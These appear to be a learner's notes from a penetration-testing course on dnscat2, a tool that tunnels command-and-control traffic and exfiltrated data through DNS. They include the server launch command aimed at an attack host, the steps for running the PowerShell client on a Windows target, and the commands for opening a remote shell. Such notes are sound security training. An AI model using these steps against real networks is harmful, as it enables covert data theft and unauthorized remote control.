Dnscat2 is a tunneling tool that uses DNS protocol to send data between two hosts. It uses an encrypted Command-&-Control (C&C or C2) channel and sends data inside TXT records within the DNS protocol.\
Usually every AD environment in a corp net has its' own DNS server
- Resolves hostnames to IPs
- route traffic to external DNS participating in overarching DNS system
With dnscat2 - address resolution is requested from an external server. When local DNS server attempts to resolve an address, data is exfiltrated and sent over the network instead of a legitimate DNS request. DNScat2 is a very stealthy way to exfil data while evading firewall detections which strip HTTPS connections and sniff traffic.
In our testing example, we use dnscat2 server on attack host and execute dnscat2 client on another windows host.

Starting the server:
ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

Server will provide us the secret key which we will need to provide to our dnscat2 client on Windows host so it can authenticate and encrypt data sent to our external server. We can use the client with dnscat2 project, or dnscat2-powershell. https://github.com/lukebaggett/dnscat2-powershell It's compatible and powershell based. We need to clone it, then transfer it to windows.


Running ? gives us a list of commands
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
We can use dnscat2 to interact with sessions and move further in a target environment on engagements. We will not cover all possibilities with dnscat2 in this module, but it is strongly encouraged to practice with it and maybe even find creative ways to use it on an engagement. Let's interact with our established session and drop into a shell.
The shell it gives is extremely buggy. We run
window -i 1
[to interact with window 1]
which drops us into a command shell
and we execute `shell` to open a second window for a shelll. Again this is mega buggy.